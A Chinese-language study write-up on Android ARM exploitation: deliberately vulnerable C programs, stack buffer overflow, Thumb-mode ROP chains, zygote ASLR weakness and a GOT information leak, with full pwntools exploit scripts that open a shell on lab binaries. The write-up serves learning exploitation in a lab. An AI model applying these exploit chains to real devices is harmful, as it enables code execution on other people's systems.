目录
学习链接:http://wooyun.tangscan.cn/static/drops/papers-11390.html
ARM上的Buffer Overflow
代码:
就是在我们不知道密码的时候怎么获取都shell呢
#include<stdio.h> #include<stdlib.h> #include<unistd.h> void callsystem() { system("/system/bin/sh"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { if (argc==2&&strcmp("passwd",argv[1])==0) callsystem(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
幸好之前搞过一点安卓,不过还是要查一下资料才能编译成arm程序
为了减少难度,我们先将stack canary去掉(在JNI目录下建立Application.mk并加入APP_CFLAGS += -fno-stack-protector)
当然首先都是要配好环境,我就配置好的了,写个简单步骤记录一下
1.创建项目 android create project -n level6 -p level6 -t android-23 -k com.test.level6 -a MyActivity 2.之后在项目根目录建立jni文件夹 将.c和Android.mk和Application.mk放进去 3.回到项目根目录执行ndk-build
编译后程序在libs\armeabi下
我们将它复制到/data/local/tmp目录
使用adb push即可
一开始程序没有执行权限
chmod 755 程序名,即可能运行就好
那我们把这个目标程序作为一个服务绑定到服务器的某个端口上
再断开转发一下
./socat tcp4-listen:10001,fork exec:./level6 adb forward tcp:10001 tcp:10001
我们nc连接测试一下,可以
但是我的windows没有pwntools,很不方便,那先将就一下
先创建150个定位字符
python pattern.py create 150
编写代码
# -*-coding:utf8 -*- import struct import socket ip = "127.0.0.1" port = 10001 def pwn(): # 创建一个TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 s.connect((ip,port)) # 构造payload payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7........' raw_input() # 向服务器发送数据 s.sendall(payload + '\n') raw_input() pwn()
运行脚本
ps看看level6的pid
shell@lte26007:/data/local/tmp $ ps | grep level6 shell 5920 5919 856 156 c0568688 b6f3c350 S ./level6
gdb附加
shell@lte26007:/data/local/tmp $ ./gdb --pid 5920 GNU gdb 6.7 Copyright (C) 2007 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "--host=arm-none-linux-gnueabi --target=". Attaching to process 5920 Reading symbols from /data/local/tmp/level6...(no debugging symbols found)...done. (no debugging symbols found) 0xb6f3c34c in _start () from /system/bin/linker (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41346540 in ?? () (gdb)
因为我们编译的level6默认是thumb模式,所以我们要在这个崩溃的地址上加个1:0x41346540+1 = 0x41346541。然后用pattern.py计算一下溢出点的位置:
好多坑啊
我们看看覆盖的返回地址的值是
开始写exp
因为callsystem()被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,
# -*-coding:utf8 -*- import struct import socket import telnetlib ip = "127.0.0.1" port = 10001 callsystem = 0x00008554 + 1 def p32(val): # <:小端模式 L:unsigned long return struct.pack("<L", val) def pwn(): # 创建一个TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 s.connect((ip,port)) # 构造payload payload = "A" * 132 + p32(callsystem) # raw_input() # 向服务器发送数据 s.sendall(payload + '\n') # 创建一个telnet来产生一个控制服务器的shell t = telnetlib.Telnet() t.sock = s t.interact() pwn()
但是之前用我自己编译的level6,就会出现,程序地址空间在在类似0xb6f5b000的高地址
但用蒸米哥的就不会
那我还是用蒸米的吧,可以
寻找thumb gadgets
level7
#include <stdio.h> #include <stdlib.h> #include <unistd.h> char *str="/system/bin/sh"; void callsystem() { system("id"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { if (argc==2&&strcmp("passwd",argv[1])==0) callsystem(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
这是我们即使知道密码,也只能执行id这个命令
我们的目标是获取到一个可以使用的shell,也就是执行system("/system/bin/sh")。怎么办呢?这里我们就需要来寻找可利用的gadgets,先让r0指向"/system/bin/sh"这个字符串的地址,然后再调用system()函数达到我们的目的。
我们使用ROPgadget去查找吧
ROPgadget --binary=./level7 --thumb | grep "ldr r0"
我们控制的只是栈上的区域,所以r0必须取值于栈上,最终还要将控制权返回到栈上
其实我们输入这样可以帅选更少的rop
ROPgadget --binary=./level7 --thumb | grep -e "ldr r0.*sp"
我们用的就是这个
看一下我们字符串的地址
system的地址,因为这里在plt段,就不用+1了,而且我们看到的也是arm模式
编写exp
#!/usr/bin/env python from pwn import * p = remote("192.168.1.110", 10001) # ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} # thumb mode gadget = 0x894a + 1 bin_sh = 0x000096c0 system_addr = 0x8404 p.recvuntil("\n") payload = 'A' * 132 + p32(gadget) + 'A' * 12 + p32(bin_sh) + 'A' * 4 + p32(system_addr) p.sendline(payload) p.interactive()
ko
Android上的ASLR
Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(libc,libandroid_runtime等)和dalvik – heap的基址都会是相同的,并且和zygote的内存布局一模一样。
查了一下zygote
在Android系统中,所有的应用程序进程以及系统服务进程SystemServer都是由Zygote进程孕育(fork)出来的,这也许就是为什么要把它称为Zygote(受精卵)的原因吧。
那我们看看这些程序的地址空间(首先找到zygote的进程id,跟着父进程是这个id的就是zygote fork出来的)
接下来查找ppid为158的就好了
ps | grep "158"
我们用文件对比看看
可以看到前面都是一样的,尤其我们经常使用的libc
后面的栈也是一样的
这意味着什么呢?我们知道android上所有的app都是由zygote fork出来的,因此我们只要在自己的app上得到libc.so等库的地址就可以知道其他app上的地址了。
level8.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void getsystemaddr() { void* handle = dlopen("libc.so", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { getsystemaddr(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
程序一开始就将system的地址打印出来了
相当于我们已经获取了这个进程的内存布局了。接下来要做的就是在libc.so中寻找我们需要的gadgets和字符串地址。因为libc.so很大,我们完全不用担心找不到需要的gadgets,并且我们只需要控制一个r0即可。
我们开始找吧
ROPgadget --binary=./libc.so --thumb | grep -e "ldr r0.*sp.*pc" > middle
可能libc中的gadget太多,我们输出到文件吧
而且发现gadget都是以首字母排序好的,我们就抽出ldr r0开头的就好
也有31个
0x00031a2e : ldr r0, [pc, #0x14] ; add r0, pc ; add sp, #0x14 ; pop {r4, r5, pc} ...... 0x0002e030 : ldr r0, [sp, #4] ; movs r0, #0 ; pop {r1, r2, r3, pc} 0x00015030 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc} 0x0002e5cc : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc} ...... 0x0002e436 : ldr r0, [sp] ; mov.w r0, #-1 ; pop {r1, r2, r3, pc} 0x00034cf2 : ldr r0, [sp] ; pop {r1, r2, r3, pc}
那我们肯定选简单的,下面这三个都可以
0x00015030 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc} 0x0002e5cc : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc} 0x00034cf2 : ldr r0, [sp] ; pop {r1, r2, r3, pc}
接下来就是在libc.so中找system()和"/system/bin/sh"的位置
"/system/bin/sh"
最终exp
#!/usr/bin/env python from pwn import * system_offset = 0x00025568 binsh_offset = 0x00040444 # 0x00015030 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc} gadget_offset = 0x00015030 p = remote("192.168.1.110", 10001) # print hex(int(p.recvuntil("\n"), 16)) system_addr = int(p.recvuntil("\n"), 16) print "system_addr = " + hex(system_addr) binsh_addr = system_addr + (binsh_offset - system_offset) - 1 print "binsh_addr = " + hex(binsh_addr) gadget_addr = system_addr + (gadget_offset - system_offset) print "gadget_addr = " + hex(gadget_addr) print p.recvuntil("\n") payload = 'A' * 132 + p32(gadget_addr) + 'A' * 4 + p32(binsh_addr) + 'A' * 4 + p32(system_addr) p.sendline(payload) p.interactive()
为什么那个字符串的地址要减1呢,哈哈,因为我们获取到的system的地址是加了1的,所以要减1咯
Android上的information leak
在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用system()函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标手机上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行第二次溢出攻击了,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
还有就是write函数是三个参数的,查一下有没有这个的gadget
ROPgadget --binary=./level9 --thumb | grep -e ".* : pop" 0x000084ea : pop {pc} 0x000086a0 : pop {pc} ; movs r0, #9 ; bx lr 0x000086a0 : pop {pc} ; movs r0, #9 ; bx lr ; bx lr 0x00009082 : pop {pc} ; push {r3, lr} ; bl #0x9076 ; pop {r3, pc} 0x0000863a : pop {r1, r2, r4, r5, r6, pc} 0x0000937a : pop {r1} ; bx lr 0x00008422 : pop {r3, pc} ......
那就这个了
0x0000863a : pop {r1, r2, r4, r5, r6, pc}
另外我们还要构造好执行完write函数后的栈的数据,以便能再次返回vulnerable_function
首先我们要设置r0的值
0x000088be : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
到最后一节了,我们来用ida调试看看吧
首先在漏洞函数返回处断点,执行
跟着我们看到返回值确实是我们的gadget1的地址
单步,由于之前还没怎么看作者的exp,又忘记+1了
而write的got和plt那里并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1
我们继续,这次就+1了
之后到了gadget2,可以看到r0已经被设置为1了
接下来就设置r1和r2了
继续,write的3个参数都设置完毕了
那write函数执行完返回到哪里呢,由于这里不是x86那套的ret,所以我们不能直接将返回地址(vulnerable_function的地址)放在write_plt的后面,这个的返回应该是返回到LR寄存器
由于我们从pop pc开始,没有改变过LR寄存器的值(应该使用了BL或BLX才会改变),所以LR寄存器还是0x84E8
所以执行完write函数之后就返回到这里了
那么想要再次调用vulnerable_function,就要将它放在sp+0x84的后面
那我们就获得了write的实际的地址了,那么我们再找找libc中的偏移
.rodata:00040444 aSystemBinSh DCB "/system/bin/sh",0 .text:00025568 EXPORT system .text:00020364 EXPORT write
所以最终exp:(应该是write出来的地址跟dlopen再dlsym出来的地址相差了1,后者比前者多1,我们看看上一小节输出的system的地址就知道了)
#!/usr/bin/env python from pwn import * # 0x000088be : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} gadget_r0 = 0x000088be + 1 # 0x0000863a : pop {r1, r2, r4, r5, r6, pc} gadget_r1_r2 = 0x0000863a + 1 # .text:000084D8 vulnerable_function vulnerable_function = 0x000084D8 + 1 p = remote("192.168.1.110", 10001) print p.recvuntil("\n") r0 = 1 r1 = 0x0000AFE8 # (write_got) r2 = 4 r4 = 0 r5 = 0 r6 = 0 write_addr_plt = 0x000083C8 #write(r0=1, r1=0x0000AFE8, r2=4) # raw_input() payload = 'A' * 132 + p32(gadget_r0) + 'A' * 12 + p32(r0) + 'A' * 4 + p32(gadget_r1_r2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + 'A' * 0x84 + p32(vulnerable_function) p.send(payload) write_addr = u32(p.recv(4)) print "write_addr = " + hex(write_addr) # .rodata:00040444 aSystemBinSh DCB "/system/bin/sh",0 # .text:00025568 EXPORT system # .text:00020364 EXPORT write binsh_offset = 0x00040444 system_offset = 0x00025568 write_offset = 0x00020364 binsh_addr = write_addr + (binsh_offset - write_offset) system_addr = write_addr + (system_offset - write_offset) + 1 print "binsh_addr = " + hex(binsh_addr) print "system_addr = " + hex(system_addr) payload2 = '\x00' * 132 + p32(gadget_r0) + '\x00' * 12 + p32(binsh_addr) + '\x00' * 4 +p32(system_addr) raw_input() p.send(payload2) p.interactive()
有一个坑点就是要输入程序的完整路径
看一下socat,真是呵呵了
那就输入完整路径咯
Android ROP调试技巧
gdb对于thumb支持不好,简直没法用,还是ida相对好啊
还有在ida不知道需要解析的指令是thumb还是arm的时候,如下图
在00025568处按alt+g,
像下面这样设置成1就能正确解析thumb指令了
ko